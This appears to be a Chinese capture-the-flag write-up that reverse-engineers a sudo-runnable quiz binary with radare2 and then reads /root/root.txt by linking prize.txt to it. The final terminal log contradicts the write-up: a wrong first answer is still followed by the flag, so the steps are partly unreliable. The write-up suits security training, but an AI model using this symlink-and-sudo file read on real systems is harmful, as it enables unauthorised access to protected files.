│ 0x004016e5 c745ec0000.. mov dword [var_14h], 0
│ 0x004016ec b800000000 mov eax, 0
│ 0x004016f1 e80ffdffff call sym.question_1
│ 0x004016f6 0145ec add dword [var_14h], eax
│ 0x004016f9 b800000000 mov eax, 0
│ 0x004016fe e87bfdffff call sym.question_2
│ 0x00401703 0145ec add dword [var_14h], eax
│ 0x00401706 b800000000 mov eax, 0
│ 0x0040170b e834feffff call sym.question_3
│ 0x00401710 0145ec add dword [var_14h], eax
│ 0x00401713 8b55ec mov edx, dword [var_14h]
│ 0x00401716 488d45e0 lea rax, [var_20h]
│ 0x0040171a 89d6 mov esi, edx ; int64_t arg2
│ 0x0040171c 4889c7 mov rdi, rax ; char *arg1
│ 0x0040171f e8befeffff call sym.writeResults
│ 0x00401724 837dec03 cmp dword [var_14h], 3
│ ┌─< 0x00401728 750a jne 0x401734
│ │ 0x0040172a 8b45ec mov eax, dword [var_14h]
│ │ 0x0040172d 89c7 mov edi, eax ; int64_t arg1
│ │ 0x0040172f e802fbffff call sym.print_prize
│ │ ; CODE XREF from main @ 0x401728(x)
│ └─> 0x00401734 8b0542290000 mov eax, dword [obj.foo] ; [0x40407c:4]=0
│ 0x0040173a 83f855 cmp eax, 0x55 ; 'U' ; 85
│ ┌─< 0x0040173d 750a jne 0x401749
│ │ 0x0040173f b800000000 mov eax, 0
│ │ 0x00401744 e88cfeffff call sym.wait_what
│ │ ; CODE XREF from main @ 0x40173d(x)
│ └─> 0x00401749 b800000000 mov eax, 0
│ 0x0040174e c9 leave
└ 0x0040174f c3 ret
[0x0040168f]> pdc @main
int main (int rdi, int rsi) {
loc_0x40168f:
// DATA XREF from entry0 @ 0x401168(r)
endbr
push (rbp)
rbp = rsp
rsp -= 0x30
dword [var_24h] = edi // argc
qword [var_30h] = rsi // argv
rax = 0x2e73746c75736572 // 'results.'
qword [var_20h] = rax
dword [var_18h] = 0x747874 // 'txt'
rax = rip + str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years. // 0x4020f0 // "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years."
qword [s] = rax
rax = rip + str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash // 0x402178 // "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash"
qword [var_10h] = rax
rax = qword [s] // "Hey guys, I have prepared this little program to find out how m" str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years.
rdi = rax // const char *s // "Hey guys, I have prepared this little program to find out how m" str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years.
sym.imp.puts ()
// int puts("Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.")
rax = qword [var_10h] // "If you get all the questions right, you win a teddy bear and if" str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash
rdi = rax // const char *s // "If you get all the questions right, you win a teddy bear and if" str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash
sym.imp.puts ()
// int puts("If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash")
dword [var_14h] = 0
eax = 0
sym.question_1 ()
dword [var_14h] += eax
eax = 0
sym.question_2 ()
dword [var_14h] += eax
eax = 0
sym.question_3 ()
dword [var_14h] += eax
edx = dword [var_14h]
rax = var_20h // "results.txt"
esi = edx // int64_t arg2
rdi = rax // char *arg1 // "results.txt"
sym.writeResults () // sym.writeResults(0x177fd8, 0x0)
var = dword [var_14h] - 3
if (var) goto loc_0x401734 // likely
goto loc_0x40172a
loc_0x401734:
// CODE XREF from main @ 0x401728(x)
eax = dword [obj.foo] // [0x40407c:4]=0
var = eax - 0x55 // 'U' // 85
if (var) goto loc_0x401749 // likely
goto loc_0x40173f
loc_0x401749:
// CODE XREF from main @ 0x40173d(x)
eax = 0
= // rsp
r
goto loc_0x401749
// } else {
goto loc_0x401734
}
return rax;
}
1、将 result和txt都存放在rax寄存器内！
2、0x004016b7 和 0x004016c2地址通过调用lea 指令来加载字符串的地址到寄存器rax中，然后通过mov指令将寄存器中的地址值存储到相应的内存位置。
这里他把这两个字符换的变量存到了s变量指定的内存里面！
3、程序在运行的过程中会提问三个问题！ 也就是 question_1、question_2、question_3
4、如果所有的问题都答对了，就直接查看当前目录下的prize.txt文件！
question_1
[0x0040147e]> s sym.question_1
[0x00401405]> pdc@sym.question_1
int sym.question_1 (int rdi, int rsi) {
loc_0x401405:
// CALL XREF from main @ 0x4016f1(x)
endbr
push (rbp)
rbp = rsp
rsp -= 0x70
rax = rip + str.What_is_my_favorite_OS_ // 0x40201e // "What is my favorite OS?"
rdi = rax // const char *s // "What is my favorite OS?" str.What_is_my_favorite_OS_
sym.imp.puts ()
// int puts("What is my favorite OS?")
rdx = qword [obj.stdin] // obj.__TMC_END__
// [0x404070:8]=0 // FILE *stream
rax = s1
esi = 0xc8 // 200 // int size
rdi = rax // char *s
sym.imp.fgets ()
// char *fgets("", -1, ?)
rax = s1
rdx = rip + str.linux_n // 0x402036 // "linux\n"
rsi = rdx // const char *s2 // "linux\n" str.linux_n
rdi = rax // const char *s1
sym.imp.strcmp ()
// int strcmp("", "linux\n")
var = eax & eax
if (var) goto loc_0x401468 // likely
goto loc_0x401452
loc_0x401468:
// CODE XREF from sym.question_1 @ 0x401450(x)
rax = rip + str.Nope__ // 0x402047 // "Nope!!"
rdi = rax // const char *s // "Nope!!" str.Nope__
sym.imp.puts ()
// int puts("Nope!!")
eax = 0
goto loc_0x40147c
do {
loc_0x40147c:
// CODE XREF from sym.question_1 @ 0x401466(x)
= // rsp
r
// } while (?);
// } while (?);
goto loc_0x40147c
}
return rax;
}
[0x00401405]>
问题一： What is my favorite OS?
通过分析伪代码，答案就是 Linux！
question_2
[0x00401405]> pdc@sym.question_2
int sym.question_2 (int rdi, int rsi) {
loc_0x40147e:
// CALL XREF from main @ 0x4016fe(x)
endbr
push (rbp)
rbp = rsp
rsp += 0xffffffffffffff80
rax = rip + str.What_is_my_favorite_food_ // 0x40204e // "What is my favorite food?"
rdi = rax // const char *s // "What is my favorite food?" str.What_is_my_favorite_food_
sym.imp.puts ()
// int puts("What is my favorite food?")
rdx = qword [obj.stdin] // obj.__TMC_END__
// [0x404070:8]=0 // FILE *stream
rax = s1
esi = 0x64 // 'd' // 100 // int size
rdi = rax // char *s
sym.imp.fgets ()
// char *fgets("", -1, ?)
dword [var_4h] = 5
rax = s1
rdi = rax // const char *s
sym.imp.strlen ()
// size_t strlen("")
qword [var_10h] = rax
var = qword [var_10h] - 0
if (!var) goto loc_0x4014ed // unlikely
goto loc_0x4014cf
loc_0x4014ed:
// CODE XREFS from sym.question_2 @ 0x4014cd(x), 0x4014de(x)
edx = dword [var_4h]
rax = s1
esi = edx // int64_t arg2
rdi = rax // int64_t arg1
sym.secret_q2 () // sym.secret_q2(0x177f80, 0x0)
rax = s1
rdx = rip + str.gfhts_ufshfpjx // 0x402068 // "gfhts ufshfpjx"
rsi = rdx // const char *s2 // "gfhts ufshfpjx" str.gfhts_ufshfpjx
rdi = rax // const char *s1
sym.imp.strcmp ()
// int strcmp("N\x14@", "gfhts ufshfpjx")
var = eax & eax
if (var) goto loc_0x40152e // likely
goto loc_0x401518
loc_0x40152e:
// CODE XREF from sym.question_2 @ 0x401516(x)
rax = rip + str.Nope__ // 0x402047 // "Nope!!"
rdi = rax // const char *s // "Nope!!" str.Nope__
sym.imp.puts ()
// int puts("Nope!!")
eax = 0
goto loc_0x401542
do {
loc_0x401542:
// CODE XREF from sym.question_2 @ 0x40152c(x)
= // rsp
r
// } while (?);
// } while (?);
goto loc_0x401542
// } while (?);
goto loc_0x4014e0
}
return rax;
loc_0x4014e0:
rax = qword [var_10h]
rax -= 1
byte [rbp + rax - 0x80] = 0
goto loc_0x4014ed
}
[0x00401405]> pdc@sym.secret_q2
int sym.secret_q2 (int rdi, int rsi) {
loc_0x401274:
// CALL XREF from sym.question_2 @ 0x4014f9(x)
endbr
push (rbp)
rbp = rsp
qword [var_18h] = rdi // arg1
dword [var_1ch] = esi // arg2
dword [var_4h] = 0
goto loc_0x401385
goto loc_0x401385
do {
loc_0x401385:
// CODE XREF from sym.secret_q2 @ 0x40128a(x)
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
eax = byte [rax]
var = al & al
if (var) goto loc_0x40128f // likely
goto loc_0x40139d
// } while (?);
goto loc_0x40139d
}
return rax;
loc_0x40139d:
n
n
rbp = pop ()
r
}
return rax;
loc_0x004012a3: // orphan
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
eax = byte [rax]
var = al - 0x7a // 'z' // 122
if (var > 0) goto loc_loc_0x401309 // unlikely
loc_0x004012b7: // orphan
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
eax = byte [rax]
eax = al
edx = rax - 0x61
eax = dword [var_1ch]
eax += edx
rdx = eax
rdx = rdx * 0x4ec4ec4f
rdx >>>= 0x20
edx >>= 3
ecx = eax
ecx >>= 0x1f
edx -= ecx
ecx = edx * 0x1a
eax -= ecx
edx = eax
eax = edx
ecx = rax + 0x61
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
edx = ecx
byte [rax] = dl
goto loc_loc_0x401381
loc_0x00401309: // orphan
// CODE XREFS from sym.secret_q2 @ 0x4012a1(x), 0x4012b5(x)
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
eax = byte [rax]
var = al - 0x40 // elf_phdr
if (var <= 0) goto loc_loc_0x401381 // unlikely
loc_0x0040131d: // orphan
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
eax = byte [rax]
var = al - 0x5a // 'Z' // 90
if (var > 0) goto loc_loc_0x401381 // likely
loc_0x00401331: // orphan
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
eax = byte [rax]
eax = al
edx = rax - 0x41
eax = dword [var_1ch]
eax += edx
rdx = eax
rdx = rdx * 0x4ec4ec4f
rdx >>>= 0x20
edx >>= 3
ecx = eax
ecx >>= 0x1f
edx -= ecx
ecx = edx * 0x1a
eax -= ecx
edx = eax
eax = edx
ecx = rax + 0x41
eax = dword [var_4h]
rdx = eax
rax = qword [var_18h]
rax += rdx
edx = ecx
byte [rax] = dl
loc_0x00401381: // orphan
// CODE XREFS from sym.secret_q2 @ 0x401307(x), 0x40131b(x), 0x40132f(x)
dword [var_4h] += 1
}
# 这个函数主要就是处理问题2的 那个字符串的！
问题二呢，给了一个字符串 gfhts ufshfpjx
打了这么多年ctf，直觉告诉我，这是某种加密！
bacon pancakes （培根煎饼）
虽然我英语不行，但是我还是能看出来他是一个正常的短语的！
第二个问题也回答正确！
question_3
[0x00401405]> pdc@sym.question_3
int sym.question_3 (int rdi, int rsi) {
loc_0x401544:
// CALL XREF from main @ 0x40170b(x)
endbr
push (rbp)
rbp = rsp
rsp -= 0x70
rax = rip + str.What_is_my_favorite_text_editor_ // 0x402078 // "What is my favorite text editor?"
rdi = rax // const char *s // "What is my favorite text editor?" str.What_is_my_favorite_text_editor_
sym.imp.puts ()
// int puts("What is my favorite text editor?")
rdx = qword [obj.stdin] // obj.__TMC_END__
// [0x404070:8]=0 // FILE *stream
rax = s1
esi = 0x64 // 'd' // 100 // int size
rdi = rax // char *s
sym.imp.fgets ()
// char *fgets("", -1, ?)
dword [var_4h] = 6
edx = dword [var_4h]
rax = s1
esi = edx // int64_t arg2
rdi = rax // int64_t arg1
sym.secret_q3 () // sym.secret_q3(0x177f88, 0x6)
rax = s1
rdx = rip + str.hpokqornvjsaohu_n // 0x402099 // "hpok&qorn&vjsaohu\n"
rsi = rdx // const char *s2 // "hpok&qorn&vjsaohu\n" str.hpokqornvjsaohu_n
rdi = rax // const char *s1
sym.imp.strcmp ()
// int strcmp("", "hpok&qorn&vjsaohu\n")
var = eax & eax
if (var) goto loc_0x4015bf // likely
goto loc_0x4015a9
loc_0x4015bf:
// CODE XREF from sym.question_3 @ 0x4015a7(x)
rax = rip + str.Nope__ // 0x402047 // "Nope!!"
rdi = rax // const char *s // "Nope!!" str.Nope__
sym.imp.puts ()
// int puts("Nope!!")
eax = 0
goto loc_0x4015d3
do {
loc_0x4015d3:
// CODE XREF from sym.question_3 @ 0x4015bd(x)
= // rsp
r
// } while (?);
// } while (?);
goto loc_0x4015d3
}
return rax;
}
[0x00401405]> pdc@sym.secret_q3
int sym.secret_q3 (int rdi, int rsi) {
loc_0x4013a1:
// CALL XREF from sym.question_3 @ 0x40158a(x)
endbr
push (rbp)
rbp = rsp
rsp -= 0x20
qword [s] = rdi // arg1
dword [var_1ch] = esi // arg2
rax = qword [s]
rdi = rax // const char *s
sym.imp.strlen ()
// size_t strlen(-1)
dword [var_8h] = eax
dword [var_4h] = 0
goto loc_0x4013f6
goto loc_0x4013f6
do {
loc_0x4013f6:
// CODE XREF from sym.secret_q3 @ 0x4013ca(x)
eax = dword [var_8h] // rsp
eax -= 1
var = dword [var_4h] - eax
jl 0x4013cc // likely
goto loc_0x401401
// } while (?);
goto loc_0x401401
}
return rax;
loc_0x401401:
n
n
= // rsp
r
}
return rax;
}
字符串 ： hpok&qorn&vjsaohu
通过查看 问题三中 hpok&qorn&vjsaohu 字符串的处理方法
函数接受两个参数 rdi 和 rsi，其中 rdi 被存储在 [s] 中，rsi 被存储在 [var_1ch] 中。
函数通过调用 strlen 函数来获取参数 s 所指向字符串的长度，并将结果保存在 [var_8h] 中。
接下来是一个循环，循环条件是 [var_4h] 小于字符串长度减一，这里使用了 jl（jump if less）指令，表示循环条件成立时跳转到指定位置。
所以说，这个就是个简单的异或加密！
答案就是：nvim with plugins
prize.txt
[0x00401405]> pdc@sym.print_prize
int sym.print_prize (int rdi, int rsi) {
loc_0x401236:
// CALL XREF from main @ 0x40172f(x)
endbr
push (rbp)
rbp = rsp
rsp -= 0x20
dword [var_14h] = edi // arg1
rax = rip + str.cat_._prize.txt // 0x402008 // "cat ./prize.txt"
rdi = rax // const char *string // "cat ./prize.txt" str.cat_._prize.txt
sym.imp.system ()
// int system("cat ./prize.txt")
dword [var_4h] = eax
var = dword [var_4h] - 0xffffffff
if (var) goto loc_0x401271 // likely
goto loc_0x40125d
loc_0x401271:
// CODE XREF from sym.print_prize @ 0x40125b(x)
n
= // rsp
r
goto loc_0x401271
}
return rax;
}
当我们三个问题都答对的时候，就会执行这个方法！
也就是查看 当前路径下的 prize.txt文件！
软连接
bacon pancakes
nvim with plugins
我想了一下，既然最后调用的是当前路径下的prize.txt文件，我们就可以在html目录下创建这两个文件 results.txt和prize.txt文件！
然后创建一个软连接指向root/root.txt文件！
最后运行这个可执行程序即可拿到root.txt文件内容！
为什么在html，因为当前用户是www-data啊！
www-data@minimal:/var/www/html$ touch prize.txt
touch prize.txt
www-data@minimal:/var/www/html$ touch results.txt
touch results.txt
www-data@minimal:/var/www/html$ rm prize.txt;ln -sv /root/root.txt prize.txt
rm prize.txt;ln -sv /root/root.txt prize.txt
'prize.txt' -> '/root/root.txt'
www-data@minimal:/var/www/html$
www-data@minimal:/var/www/html$ sudo /opt/quiz/shop
sudo /opt/quiz/shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
Linux
Nope!!
What is my favorite food?
bacon pancakes
Correct!!
What is my favorite text editor?
nvim with plugins
Correct!!
User name: 111
Saving results .
HMV{never_gonna_ROP_you_down}
